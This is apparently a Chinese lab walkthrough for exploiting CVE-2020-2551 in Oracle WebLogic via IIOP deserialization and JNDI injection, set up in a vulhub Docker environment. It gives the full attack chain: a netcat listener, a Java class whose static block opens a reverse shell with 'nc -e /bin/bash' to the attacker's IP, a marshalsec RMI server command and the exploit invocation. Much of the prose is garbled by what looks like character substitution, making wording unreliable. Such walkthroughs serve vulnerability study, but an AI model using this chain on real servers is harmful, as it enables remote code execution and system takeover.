共计 1375 个字符,预计需要花费 4 分钟才能阅读完成。
前言
2020 年 1 月 15 日,Oracle 公布了一系列的安全补丁, 其中 Oracle WebLogic Server 产品有高危破绽, 破绽编号 CVE-2020-2551,CVSS 评分 9.8 分, 破绽利用难度低, 可基于 IIOP 协定执行近程代码。通过剖析这次破绽次要起因是谬误的过滤 JtaTransactionManager 类,JtaTransactionManager 父类 AbstractPlatformTransactionManager 在之前的补丁外面就退出到黑名单列表了,T3 协定应用的是 resolveClass 办法去过滤的,resolveClass 办法是会读取父类的, 所以 T3 协定这样过滤是没问题的。然而 IIOP 协定这块, 尽管也是应用的这个黑名单列表, 但不是应用 resolveClass 办法去判断的, 这样默认只会判断本类的类名, 而 JtaTransactionManager 类是不在黑名单列表外面的, 它的父类才在黑名单列表外面, 这样就能够反序列化 JtaTransactionManager 类了, 而 JtaTransactionManager 类是存在 jndi 注入的。
环境搭建
间接应用 vulhub 中的 CVE-2017-10271 就能够
应用 git 克隆到本地
git clone https://github.com/vulhub/vul…
进入对应环境
cd vulhub/weblogic/CVE-2017-10271
启动 docker 破绽环境
sudo docker-compose up -d
搭建实现当前,拜访 7001/console 如下图所示即为搭建胜利
检测是否存在破绽
python3 CVE-2020-2551.py -u http://192.168.52.128:7001/
发现存在破绽
破绽利用
攻击机 ip:192.168.0.101
靶机 ip:192.168.52.128
攻击机开启监听 nc -lvnp 3333
编写一个 exp.java 文件:
import java.io.IOException;
public class exp {
static{try { java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","nc -e /bin/bash 192.168.0.101 3333"});
} catch (IOException e) {e.printStackTrace();
}
} public static void main(String[] args) {}
}
启一个 web 服务,须要与 exp.class 在同一文件夹
应用 marshalsec 起一个歹意的 RMI 服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.0.101/#exp” 1099
而后开始进行攻打,应用命令, 胜利弹出 shell:java -jar weblogic_CVE_2020_2551.jar 192.168.52.128 7001 rmi://192.168.0.101:1099/exp
下载工具获取私信 学习浸透请关注微信公众号:助安社区